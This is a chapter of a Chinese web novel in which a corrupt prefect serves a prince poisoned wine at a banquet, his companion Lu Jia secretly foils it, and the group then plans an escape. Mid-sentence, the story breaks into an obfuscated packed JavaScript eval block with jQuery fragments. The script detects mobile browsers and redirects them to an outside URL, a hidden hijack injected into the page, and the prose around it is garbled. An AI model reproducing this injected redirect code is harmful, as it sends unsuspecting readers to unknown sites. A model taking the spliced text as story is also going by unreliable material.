8. 貌美村花vs落魄权贵
作品:《我是反派的白月光》 燕州城内,有一处数十米高的楼台,名曰揽月阁,乃是长公主初到燕州,征用城内外无数工匠,花费小半年才初见雏形,听闻揽月阁内奇珍异宝,数不胜数,位置也十分巧妙,每至夜半,无论从各个方位,推开窗户,伸手仿佛就能碰到月亮,踏月而去,因此圣上亲自为这楼台提名——揽月。
揽月阁外,燕州知府张廉率领一众官员在门外等待。天色昏暗,暴雨如注,檐下的灯笼在雨中东倒西歪地摇晃着。浓密的雨中,看不清来路。
突然听到阵阵马蹄声,正前方已经能看到领头士兵的身影,张廉打起精神,伸长脖子往前探。
一辆古朴的马车缓步停在檐下,先下车的是位锦衣华服,戴着青玉冠的公子,衣服上的银色绣线在天色尚暗的情况下也能看出价格不菲,张廉肥肉横生的脸上挤出来一个谄媚的笑容。
还未等他上前,三皇子手臂放在马车檐角下,车里突然又钻出来一个人,秀眉微蹙,肤色白皙,似乎在恼怒这大雨溅湿了她的裙摆,在朦胧的雨中像一幅亮丽的仕女图。
张廉先是一惊,随后马上会意。想不到三皇子还有这闲情逸致,长途跋涉还不忘带美人相伴,只可惜啊,他心中叹道,享受不了多久了。
张廉立身于廊下,不怀好意地道,“下官张廉参见三皇子,风大雨大,还请三皇子移步阁内,下官怕唐突了三皇子,就不为殿下撑伞了。”
早有一戴面具的黑衣侍卫在雨中撑伞,张廉语气倨傲,只不过带着些表面的尊敬,眼神中却毫无敬畏。
萧复语气平平,忽略他眼中的试探,正色道,“有劳张大人。”
大殿之上,三皇子坐上首。为了有个合理的身份,陆嘉扮成她的姬妾,在萧复身侧为他斟酒。
张廉长得丑但却想的美,几杯黄酒下肚,脑子不清醒,仗着公主府的权势不知道自己几斤几两。
他色迷迷的眼神放在陆嘉身上,脸上是熏红的酒气,让人为之生厌,迎着众人的目光,张廉上首之人拱了拱手,“殿下好雅兴,怀中人也非同一般,能让殿下千里迢迢带回燕州,可见是有些本事的,不知道下官是否有幸,能请姑娘为下官斟满杯中酒?”
这话便是明晃晃的挑衅了。
萧复尚未开口,一旁的蒙面侍卫刷的一声,从袖中飞出一记暗箭,酒杯四溅,微凉的酒水沿着手背缓缓流淌,张廉也被这凉意惊醒了些,黑衣人正冷冷盯着他,像是下一秒就要取他性命。
他心中忐忑,面上仍装得强硬,黑沉着脸起身,看向蒙面侍卫的眼神充满杀意,“原来三皇子殿下身边的奴才都这般的不知规矩,敢当众暗杀朝廷命官。”
萧复眼睛眯了眯,不怒自威,“张统领还是管好自己的嘴,知道什么该说,什么不该说,不要两杯黄酒下肚就忘了自己姓什么。”他意有所指道,“不然下次,这刀子就不一定射在酒里了。”
张廉脸色涨红,像只充了气的□□精,便是再生气如今也得忍下去,他告诉自己,如今还没有到翻脸的时候,待萧复死在他手上,他身边的美人不还是要来求自己庇佑吗?到那时候……
想到这,张廉心情也好转了不少,他给自己心腹一个眼色,随即拿起新的酒盏,拍了自己几下头,装作懊恼状,“怪我怪我,下官不胜酒力,今日殿下亲临,一时间开心的不知如何是好,这才多喝了几杯,绝无冒犯殿下的意思,还请殿下恕罪。”
眼见心腹已经把酒端上来,张廉陪笑道,“还请殿下赏脸,这就乃桃花醉,乃是燕州最古老的酒坊经过数月秘制而成,特地为殿下接风,也算下官的赔罪,还能殿下一定要给下官一个面子。”
张廉一脸的谦卑,话语间确实强势的不容拒绝。
萧复淡淡挑眉,“哦,早就听说着桃花醉闻之清香,入口醉人,本王垂涎已久,如今定要好好品尝。”
他这痛快的态度让张廉脸上的笑意真诚了不少,他双手举起酒杯,遥声道,“殿下请。”
侍从端着酒壶,作势要为萧复倒酒。
“且慢。”女子清亮的声音响起。
张廉脸色立马一变。
陆嘉笑意盈盈,故作娇柔地说,“殿下,妾还在你身旁呢,哪能让这些奴才做这样的活计,笨手笨脚的,万一冒犯殿下怎么办?”
萧复配合的应声,一脸被迷惑的昏庸模样,大笑道,“爱妃说的是。”说着对一旁的侍从摆摆手,示意他们下去。
张廉心中冷笑,长公主还特意来信要提防三皇子耍什么阴招,看起来不过是个被美色迷惑的主儿,哪里值得特意对付,要是一开始准备些美女,恐怕三皇子早就找不到北了。
饶是如此,张廉也不敢太过大意,毕竟差事办不好是要掉脑袋的。他目光一刻不离酒杯,陪笑道,“三皇子请。”
陆嘉杨柳细腰、身似无骨地绕过方桌,素手端起酒盏,轻轻递至萧复唇前,旁若无人地轻笑道,“殿下请。”
酒水入喉,萧复喉结滚动,“不愧是桃花醉,果然名不虚传,诸位也请吧。”
张廉见目的达到,脸上笑意也畅快了些,“殿下,长公主早已飞鸽传书,吩咐下官好生招待殿下,已在揽月阁为殿下收拾妥当,不过今日天公不作美,待来日天晴雨肖,殿下可与美人共赏月色。”
萧复眼神不复清明,眸中似有雾色,他单手撑头,按了按太阳穴,勉强回答道,“有劳费心,不过这桃花醉威力确实不小,比京城的烈酒还要有劲。”
张廉心中一喜,明白是酒中的药发挥了效果,正要哄着他再多喝几杯。
陆嘉突然捂着嘴打了个哈欠,泪水打湿睫毛,活脱脱一个娇弱美人。她声音甜腻的撒娇,“殿下,不如我们去安寝吧,赶了一天路,妾都要困死了。”
“好好好。”萧复哄道,“都依你。”
转身对张廉说,“张大人,这就改日再喝吧,本王先去歇息,有劳张大人领路。”
张廉心下遗憾却不好表露出来,反正这毒药效厉害,只要沾上一点就不可能活下去。
他拱手道,“殿下请。”
揽月阁共有七层,站至最高处能窥见整个燕州。
房间内,张廉和大小官员早已退下。萧复褪去迷茫的眼神,眼睛锋利而睿智,他心中不解,面上还如平常一般无二,“陆姑娘,刚才那杯酒是有问题吗?”
方才在宴席上,陆嘉明面上在喂酒,实则全倒在了她袖口上,更是假装有困意,提醒萧复快快离席。
陆嘉点头,解释说,“此酒加了一味毒药名曰‘三日好’,这种毒起源于南疆,中毒之人第一日会感觉喉咙肿痛,全身发冷,迹象和风寒差不多,到第二日会头晕目眩,口鼻充血,三日之期一到,边回命丧黄泉,此药毒性强烈,刚中毒时又不易发觉,并且没有解药,因此在南疆早已被列为禁药,很难能找到。”
萧复冷笑,“可见有人早已按捺不住要我性命,今日多亏了陆姑娘。”
萧复早知这是场鸿门宴,因此宴会开始前酒服了解毒丹,只不过恐怕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222691|165844||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对这南疆之毒效果不大,若不是有她在怕是会多了许多麻烦。
他眼神翻转,状似不经意地问道,“这毒既然失传已久,不知陆姑娘从何而知?”
陆嘉:……
她就知道,这番解释势必会让人有所怀疑,毕竟她和萧复并不熟悉,即使她今天救了萧复,但是乡野之女知道这么多事情确实很难说得通。
她内心斟酌着,什么样的解释比较能让人接受。
林澈摘下面具,突然开口,“表哥,平安小时候身体不好,偶然碰到位游医,教过她几年医术,听平安说,她师父居无定所,游历四方,整日酒壶不离手,平安在她身上学到了不少东西。”
林澈说话,他自然是全然信任的。更何况他提到的游医难道是神医圣手?
似乎看穿他心中所想,林澈朝他点了点头,这下他心中没有任何疑问了。
陆嘉也松了口气,看样子林澈给她杜撰了位厉害的师父,也省得她再去多费口舌。
只是让她不明白的是,林澈就那么信任她吗?
抛开杂念,林澈正色道,“方才我去转了一圈,每一层楼安排的都有守卫。交替换岗,阁楼外也有不少暗卫,我们人数不占优势,如果直接闯出去,恐怕不太好脱身。”
萧复补充道,“不能坐以待毙,不然三日后张廉一样不会放过我们。”
林澈扫视一圈,似乎早就下定了决心,“表哥,今天晚上是最好的时机,张廉以为你已经中毒,想必今晚是他们最松懈的时候,只要今晚你能出城,一切就都好办了。”
萧复皱眉,“先不论怎样避开门外的守卫,明天早上,张廉必会来探望,就算我称病不出,也不好糊弄过去。”
林澈在桌上敲了敲手指,“他没见过我,我们俩侧脸有几分相像,我只要躺床上稍微侧着身体,再用棉被挡着大半张脸,想他也不敢真的以下犯上。”
“不可。”萧复断然拒绝,“怎么能让你替我,若在这几日走漏风声,张廉第一个就不会放过你,你留在这不时等死吗?”
“可这是最好的办法,只有这样你才能给你拖延时间,要不然咱们都要耗死在这。如今张廉还没有翻脸,不过是因为长公主还要顾及天下万民的看法,做不出直接在封地杀你的事情,所以才去找这毒药,要你暴毙而亡。至少在这三天,我是安全的,只要你能早点搬来救兵,我不会死的。”林澈低声劝道。
萧复闭上双眼,叹息道,“可是阿澈,表哥只有你这一位亲人了,我怎么能把你自己放在这险境之中。”
林澈眼眶通红,咬牙道,“你要出去,为姨母,为外祖父一家,还有我娘亲,要为他们报仇,别再犹豫了表哥,这是最好的办法。”
林澈眼神中的不舍尽数压下,只最后恳求道,“表哥,你把平安带上,一定要保护她的安全。”
萧复哪能不明白他的心思,安抚地拍拍他手臂,“放心吧,我会照顾好她的。”
“我不同意。”一直安静听他们讲话的陆嘉开口。
林澈急道,“这太危险了,你不能留在这。”
陆嘉叹口气,细细讲来,“首先我不会武功,如果真在路上可能会成为累赘,其次最重要的你们是不是忘了。”
陆嘉摊摊手,“张廉见过我,并且我的身份是三皇子宠爱的姬妾,如果他明日来没见到我,你们说,他会怎么想?”
她看向紧皱眉头的林澈,轻笑道,“别再想了,这次留我们两个并肩作战吧。”